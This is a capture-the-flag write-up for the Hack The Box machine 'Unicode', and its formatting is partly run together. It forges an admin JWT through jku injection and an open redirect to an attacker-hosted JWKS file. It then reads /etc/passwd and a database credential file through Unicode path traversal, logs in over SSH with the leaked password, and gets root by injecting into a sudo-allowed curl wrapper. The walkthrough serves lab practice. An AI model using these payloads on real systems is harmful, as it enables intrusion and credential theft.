Platform: Hack The Box
Difficulty: Medium
OS: Linux
Release Date: 27 Nov 2021
Author: webspl01t3r
Writeup by: inkedQT
User flag: e0a0c27b634bd51e0aee4cb0********
Root flag: ca86fe9edd53a27e61f96099********
Unicode is a Linux machine that involves JWT manipulation via JWKS injection, filtered LFI bypass using Unicode tricks, and a Python binary reverse-engineered for privilege escalation. Key elements include JWT key confusion, a HostSplit-based Unicode LFI bypass, and exploiting a filtered curl command in a custom executable.
nmap -p- --min-rate=1000 -T4 10.10.11.126
nmap -p22,80 -sV 10.10.11.126
Open Ports:
22/tcp – OpenSSH80/tcp – NginxCookie Header:
{
"typ": "JWT",
"alg": "RS256",
"jku": "http://hackmedia.htb/static/jwks.json"
}
jku header points to a JWKS file./redirect?url= endpoint → exploitable for key confusion.cd jwt_tool
python3 -m http.server 80
python3 jwt_tool.py <JWT> \
-X s \
-ju 'http://hackmedia.htb/static/../redirect?url=10.10.14.18/jwttool_custom_jwks.json' \
-I -pc user -pv admin
auth cookie → gain admin access./display/?page=monthly.pdf
U+2025) instead of ..http://hackmedia.htb/display/?page=‥/‥/‥/‥/‥/‥/etc/passwd
db.yaml:http://hackmedia.htb/display/?page=‥/‥/‥/home/code/coder/db.yaml
mysql_user: code
mysql_password: B3stC0d3r2021@@!
ssh code@hackmedia.htb
# Shell as code
User flag: e0a0c27b634bd51e0aee4cb0********
sudo -l
# /usr/bin/treport (no password)
pyinstxtractor.py.pyc with uncompyle6Found vulnerable code:
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
curl injection is possible{}, , are allowed → bypass with ${IFS} or similar# Host malicious public key
cp ~/.ssh/id_rsa.pub .
python3 -m http.server 80
Then on box:
sudo /usr/bin/treport
# Inject payload with URL to SSH key
Root flag: ca86fe9edd53a27e61f96099********
jku and open redirect